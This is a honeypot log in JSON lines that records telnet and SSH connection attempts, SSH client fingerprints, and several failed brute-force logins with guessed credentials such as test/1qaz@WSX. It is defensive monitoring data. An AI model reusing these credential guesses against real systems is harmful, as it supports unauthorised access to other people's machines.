{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:33:20.771796Z","src_ip":"192.109.200.78","session":"145efc566095","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"72.13.82.74","src_port":46410,"dst_ip":"10.17.0.5","dst_port":23,"session":"da689d8f580d","protocol":"telnet","message":"New connection: 72.13.82.74:46410 (10.17.0.5:23) [session: da689d8f580d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:33:21.199536Z"}
{"eventid":"cowrie.session.connect","src_ip":"212.67.214.113","src_port":59720,"dst_ip":"10.17.0.5","dst_port":23,"session":"3dabf4f301e3","protocol":"telnet","message":"New connection: 212.67.214.113:59720 (10.17.0.5:23) [session: 3dabf4f301e3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:33:21.875670Z"}
{"eventid":"cowrie.session.connect","src_ip":"178.63.26.148","src_port":60906,"dst_ip":"10.17.0.5","dst_port":23,"session":"4d74ea3e842f","protocol":"telnet","message":"New connection: 178.63.26.148:60906 (10.17.0.5:23) [session: 4d74ea3e842f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:33:23.254866Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":38104,"dst_ip":"159.203.135.109","dst_port":22,"session":"75c365323022","protocol":"ssh","message":"New connection: 192.109.200.78:38104 (159.203.135.109:22) [session: 75c365323022]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:33:23.380126Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:33:23.385791Z","src_ip":"192.109.200.78","session":"75c365323022","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:33:23.467762Z","src_ip":"192.109.200.78","session":"75c365323022","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"test","password":"1qaz@WSX","message":"login attempt [test/1qaz@WSX] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:33:23.712338Z","src_ip":"192.109.200.78","session":"75c365323022","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"89.163.210.171","src_port":40206,"dst_ip":"10.17.0.5","dst_port":23,"session":"44c27c248898","protocol":"telnet","message":"New connection: 89.163.210.171:40206 (10.17.0.5:23) [session: 44c27c248898]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:33:24.403892Z"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:33:24.845266Z","src_ip":"192.109.200.78","session":"75c365323022","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.95","src_port":50036,"dst_ip":"159.203.135.109","dst_port":22,"session":"629d35b6564f","protocol":"ssh","message":"New connection: 176.65.139.95:50036 (159.203.135.109:22) [session: 629d35b6564f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:33:25.120578Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:33:25.125911Z","src_ip":"176.65.139.95","session":"629d35b6564f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:33:25.212420Z","src_ip":"176.65.139.95","session":"629d35b6564f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"41.186.86.13","src_port":43954,"dst_ip":"10.17.0.5","dst_port":23,"session":"9921da068c7e","protocol":"telnet","message":"New connection: 41.186.86.13:43954 (10.17.0.5:23) [session: 9921da068c7e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:33:25.734623Z"}
{"eventid":"cowrie.login.failed","username":"sftpuser","password":"sftpuser","message":"login attempt [sftpuser/sftpuser] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:33:25.804621Z","src_ip":"176.65.139.95","session":"629d35b6564f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"69.169.96.3","src_port":50922,"dst_ip":"10.17.0.5","dst_port":23,"session":"094e8a748fd0","protocol":"telnet","message":"New connection: 69.169.96.3:50922 (10.17.0.5:23) [session: 094e8a748fd0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:33:26.055224Z"}
{"eventid":"cowrie.session.connect","src_ip":"15.204.210.221","src_port":37094,"dst_ip":"10.17.0.5","dst_port":23,"session":"dda269ecb6e0","protocol":"telnet","message":"New connection: 15.204.210.221:37094 (10.17.0.5:23) [session: dda269ecb6e0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:33:26.213634Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.70.112.143","src_port":57092,"dst_ip":"10.17.0.5","dst_port":23,"session":"7d220dde1da7","protocol":"telnet","message":"New connection: 152.70.112.143:57092 (10.17.0.5:23) [session: 7d220dde1da7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:33:26.402000Z"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:33:26.889454Z","src_ip":"176.65.139.95","session":"629d35b6564f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"207.244.104.223","src_port":35527,"dst_ip":"10.17.0.5","dst_port":23,"session":"ecd0ffbda16a","protocol":"telnet","message":"New connection: 207.244.104.223:35527 (10.17.0.5:23) [session: ecd0ffbda16a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:33:27.057299Z"}
{"eventid":"cowrie.session.connect","src_ip":"78.31.67.209","src_port":47444,"dst_ip":"10.17.0.5","dst_port":23,"session":"085a05975f26","protocol":"telnet","message":"New connection: 78.31.67.209:47444 (10.17.0.5:23) [session: 085a05975f26]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:33:27.301839Z"}
{"eventid":"cowrie.session.connect","src_ip":"157.90.5.26","src_port":55938,"dst_ip":"10.17.0.5","dst_port":23,"session":"5cd8822a8a14","protocol":"telnet","message":"New connection: 157.90.5.26:55938 (10.17.0.5:23) [session: 5cd8822a8a14]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:33:27.354532Z"}
{"eventid":"cowrie.session.connect","src_ip":"159.69.140.47","src_port":59050,"dst_ip":"10.17.0.5","dst_port":23,"session":"1cc4ed345d7e","protocol":"telnet","message":"New connection: 159.69.140.47:59050 (10.17.0.5:23) [session: 1cc4ed345d7e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:33:27.370157Z"}
{"eventid":"cowrie.session.connect","src_ip":"136.243.24.250","src_port":46802,"dst_ip":"10.17.0.5","dst_port":23,"session":"0ba31d965245","protocol":"telnet","message":"New connection: 136.243.24.250:46802 (10.17.0.5:23) [session: 0ba31d965245]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:33:27.428476Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":38112,"dst_ip":"159.203.135.109","dst_port":22,"session":"9f2c4bd143bd","protocol":"ssh","message":"New connection: 192.109.200.78:38112 (159.203.135.109:22) [session: 9f2c4bd143bd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:33:27.500747Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:33:27.506418Z","src_ip":"192.109.200.78","session":"9f2c4bd143bd","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:33:27.596184Z","src_ip":"192.109.200.78","session":"9f2c4bd143bd","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user10","password":"user10","message":"login attempt [user10/user10] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:33:27.850199Z","src_ip":"192.109.200.78","session":"9f2c4bd143bd","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"20.216.16.237","src_port":33604,"dst_ip":"10.17.0.5","dst_port":23,"session":"7093000c307a","protocol":"telnet","message":"New connection: 20.216.16.237:33604 (10.17.0.5:23) [session: 7093000c307a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:33:27.903236Z"}
{"eventid":"cowrie.session.connect","src_ip":"67.205.134.100","src_port":55570,"dst_ip":"10.17.0.5","dst_port":23,"session":"63b6f66eb09f","protocol":"telnet","message":"New connection: 67.205.134.100:55570 (10.17.0.5:23) [session: 63b6f66eb09f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:33:27.929610Z"}
{"eventid":"cowrie.session.connect","src_ip":"206.206.127.164","src_port":55082,"dst_ip":"10.17.0.5","dst_port":23,"session":"758f0fdf1a72","protocol":"telnet","message":"New connection: 206.206.127.164:55082 (10.17.0.5:23) [session: 758f0fdf1a72]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:33:28.116479Z"}
{"eventid":"cowrie.session.connect","src_ip":"5.189.166.64","src_port":46372,"dst_ip":"10.17.0.5","dst_port":23,"session":"43600bb11512","protocol":"telnet","message":"New connection: 5.189.166.64:46372 (10.17.0.5:23) [session: 43600bb11512]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:33:28.286413Z"}
{"eventid":"cowrie.session.connect","src_ip":"207.182.155.202","src_port":42634,"dst_ip":"10.17.0.5","dst_port":23,"session":"4ff0ff344147","protocol":"telnet","message":"New connection: 207.182.155.202:42634 (10.17.0.5:23) [session: 4ff0ff344147]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:33:28.292046Z"}
{"eventid":"cowrie.session.connect","src_ip":"173.212.209.202","src_port":45260,"dst_ip":"10.17.0.5","dst_port":23,"session":"7064367e2509","protocol":"telnet","message":"New connection: 173.212.209.202:45260 (10.17.0.5:23) [session: 7064367e2509]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:33:28.399915Z"}
{"eventid":"cowrie.session.connect","src_ip":"31.220.77.46","src_port":46018,"dst_ip":"10.17.0.5","dst_port":23,"session":"f91df80f927c","protocol":"telnet","message":"New connection: 31.220.77.46:46018 (10.17.0.5:23) [session: f91df80f927c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:33:28.422431Z"}
{"eventid":"cowrie.session.connect","src_ip":"174.142.238.212","src_port":39416,"dst_ip":"10.17.0.5","dst_port":23,"session":"3f8cd80b524e","protocol":"telnet","message":"New connection: 174.142.238.212:39416 (10.17.0.5:23) [session: 3f8cd80b524e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:33:28.543799Z"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:33:28.936799Z","src_ip":"192.109.200.78","session":"9f2c4bd143bd","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"162.214.122.104","src_port":43090,"dst_ip":"10.17.0.5","dst_port":23,"session":"dde5a83e900d","protocol":"telnet","message":"New connection: 162.214.122.104:43090 (10.17.0.5:23) [session: dde5a83e900d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:33:29.332769Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.137.246.86","src_port":40506,"dst_ip":"10.17.0.5","dst_port":23,"session":"ef7014076155","protocol":"telnet","message":"New connection: 103.137.246.86:40506 (10.17.0.5:23) [session: ef7014076155]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:33:29.612774Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.79.152.131","src_port":59618,"dst_ip":"10.17.0.5","dst_port":23,"session":"aec41771b5fa","protocol":"telnet","message":"New connection: 45.79.152.131:59618 (10.17.0.5:23) [session: aec41771b5fa]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:33:30.280795Z"}
{"eventid":"cowrie.session.connect","src_ip":"146.185.21.229","src_port":45964,"dst_ip":"10.17.0.5","dst_port":23,"session":"d621fa1298d9","protocol":"telnet","message":"New connection: 146.185.21.229:45964 (10.17.0.5:23) [session: d621fa1298d9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:33:30.310679Z"}
{"eventid":"cowrie.session.connect","src_ip":"107.191.39.230","src_port":43448,"dst_ip":"10.17.0.5","dst_port":23,"session":"776ca04e72fc","protocol":"telnet","message":"New connection: 107.191.39.230:43448 (10.17.0.5:23) [session: 776ca04e72fc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:33:30.371927Z"}
{"eventid":"cowrie.session.connect","src_ip":"185.224.217.231","src_port":40460,"dst_ip":"10.17.0.5","dst_port":23,"session":"2d1b170cae71","protocol":"telnet","message":"New connection: 185.224.217.231:40460 (10.17.0.5:23) [session: 2d1b170cae71]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:33:30.724124Z"}
{"eventid":"cowrie.session.closed","duration":30.609997034072876,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:33:31.179041Z","src_ip":"82.180.146.225","session":"c0c14256a6c8","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.214.170.182","src_port":60262,"dst_ip":"10.17.0.5","dst_port":23,"session":"f7f44e7662d4","protocol":"telnet","message":"New connection: 162.214.170.182:60262 (10.17.0.5:23) [session: f7f44e7662d4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:33:31.238914Z"}
{"eventid":"cowrie.session.connect","src_ip":"66.226.72.247","src_port":49058,"dst_ip":"10.17.0.5","dst_port":23,"session":"0d2ffd499734","protocol":"telnet","message":"New connection: 66.226.72.247:49058 (10.17.0.5:23) [session: 0d2ffd499734]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:33:31.268064Z"}
{"eventid":"cowrie.session.connect","src_ip":"168.119.236.88","src_port":53416,"dst_ip":"10.17.0.5","dst_port":23,"session":"1df9093b93d1","protocol":"telnet","message":"New connection: 168.119.236.88:53416 (10.17.0.5:23) [session: 1df9093b93d1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:33:31.275529Z"}
{"eventid":"cowrie.session.connect","src_ip":"65.109.62.117","src_port":48552,"dst_ip":"10.17.0.5","dst_port":23,"session":"6f1125339d50","protocol":"telnet","message":"New connection: 65.109.62.117:48552 (10.17.0.5:23) [session: 6f1125339d50]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:33:31.719699Z"}
{"eventid":"cowrie.session.connect","src_ip":"89.36.133.87","src_port":59654,"dst_ip":"10.17.0.5","dst_port":23,"session":"ef58ab072335","protocol":"telnet","message":"New connection: 89.36.133.87:59654 (10.17.0.5:23) [session: ef58ab072335]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:33:31.796046Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.76.87.57","src_port":47392,"dst_ip":"10.17.0.5","dst_port":23,"session":"f7f70d1fb14a","protocol":"telnet","message":"New connection: 45.76.87.57:47392 (10.17.0.5:23) [session: f7f70d1fb14a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:33:32.265623Z"}
{"eventid":"cowrie.session.connect","src_ip":"82.221.143.47","src_port":60000,"dst_ip":"10.17.0.5","dst_port":23,"session":"5e1bd31e9c0d","protocol":"telnet","message":"New connection: 82.221.143.47:60000 (10.17.0.5:23) [session: 5e1bd31e9c0d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:33:32.291757Z"}
{"eventid":"cowrie.session.connect","src_ip":"167.88.49.103","src_port":45556,"dst_ip":"10.17.0.5","dst_port":23,"session":"1a35952dea70","protocol":"telnet","message":"New connection: 167.88.49.103:45556 (10.17.0.5:23) [session: 1a35952dea70]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:33:32.321029Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":59918,"dst_ip":"159.203.135.109","dst_port":22,"session":"b38d1599e07e","protocol":"ssh","message":"New connection: 192.109.200.78:59918 (159.203.135.109:22) [session: b38d1599e07e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:33:32.594770Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:33:32.599730Z","src_ip":"192.109.200.78","session":"b38d1599e07e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"158.94.210.61","src_port":60032,"dst_ip":"10.17.0.5","dst_port":23,"session":"074ed8fdd645","protocol":"telnet","message":"New connection: 158.94.210.61:60032 (10.17.0.5:23) [session: 074ed8fdd645]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:33:32.605417Z"}
{"eventid":"cowrie.session.connect","src_ip":"198.38.88.217","src_port":58008,"dst_ip":"10.17.0.5","dst_port":23,"session":"4c62afc4336f","protocol":"telnet","message":"New connection: 198.38.88.217:58008 (10.17.0.5:23) [session: 4c62afc4336f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:33:32.638397Z"}
{"eventid":"cowrie.session.connect","src_ip":"181.214.142.195","src_port":40316,"dst_ip":"10.17.0.5","dst_port":23,"session":"848b801ce8bc","protocol":"telnet","message":"New connection: 181.214.142.195:40316 (10.17.0.5:23) [session: 848b801ce8bc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:33:32.645976Z"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:33:32.694136Z","src_ip":"192.109.200.78","session":"b38d1599e07e","protocol":"ssh"}
